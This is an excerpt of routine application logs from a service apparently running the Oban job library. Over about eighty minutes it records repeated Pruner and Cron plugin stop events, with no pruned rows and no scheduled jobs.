{"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.839 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:20.144 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:50.146 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.840 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:20.147 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:50.148 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.841 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:20.150 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:50.152 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.842 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:20.153 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:50.154 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.843 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:20.155 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:50.156 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.844 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:20.157 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:50.158 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.845 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:20.158 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:50.160 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.846 [info] {"source":"oban","duration":446,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:20.161 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:50.161 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.847 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:20.163 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:50.165 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.848 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:20.167 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:50.168 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.850 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:20.169 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:50.170 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.850 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:20.171 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:50.172 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.851 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:20.173 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:50.175 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.853 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:20.177 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:50.179 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.853 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:20.181 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:50.183 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.854 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:20.184 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:50.185 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.855 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:20.186 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:50.187 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.856 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:20.189 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:50.190 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.858 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:20.191 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:50.193 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.858 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:20.195 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:50.196 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.859 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:20.197 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:50.198 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.860 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:20.199 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:50.200 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.862 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:20.201 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:50.202 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.863 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:20.203 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:50.204 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.863 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:20.205 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:50.207 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.864 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:20.208 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:50.209 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.865 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:20.210 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:50.211 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.866 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:20.212 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:50.213 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.867 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:20.214 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:50.215 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.869 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:20.216 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:50.217 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.869 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:20.219 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:50.220 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.870 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:20.222 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:50.223 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.871 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:20.224 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:50.226 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.872 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:20.228 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:50.229 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.873 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:20.230 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:50.231 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.874 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:20.232 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:50.233 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.875 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:20.234 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:50.236 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.876 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:20.237 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:50.239 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.877 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:20.240 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:50.241 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.878 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:20.243 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:50.244 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.879 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:20.245 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:50.247 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.880 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:20.248 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:50.249 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.881 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:20.251 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:50.252 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.882 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:20.254 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:50.256 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.883 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:20.257 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:50.259 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.884 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:20.261 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:50.263 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.885 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:20.265 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:50.266 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.886 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:20.268 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:50.269 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.887 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:20.271 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:50.273 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.888 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:20.274 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:50.275 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.889 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:20.276 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:50.278 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.890 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:20.279 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:50.280 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.891 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:20.281 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:50.282 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.892 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:20.283 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:50.284 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.893 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:20.285 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:50.287 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.895 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:20.288 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:50.289 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.895 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:20.290 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:50.292 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.896 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:20.293 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:50.294 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.897 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:20.295 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:50.296 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.898 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:20.297 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:50.298 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.899 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:20.299 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:50.300 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.900 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:20.302 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:50.303 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.901 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:20.304 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:50.305 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.902 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:20.306 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:50.307 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.903 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:20.308 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:50.309 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.904 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:20.311 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:50.312 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.905 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:20.313 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:50.314 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.906 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:20.315 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:50.316 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.907 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:20.317 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:50.318 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.908 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:20.320 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:50.322 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.909 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:20.323 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:50.324 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.910 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:46:20.325 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:50.326 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.911 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:47:20.327 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:50.329 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.912 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:48:20.331 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:50.333 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.913 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:49:20.335 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:50.337 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.914 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:50:20.338 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:50.339 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.915 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:20.340 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:50.341 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.916 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:20.343 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:50.344 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.917 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:20.345 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:50.346 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.918 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:20.347 [info] 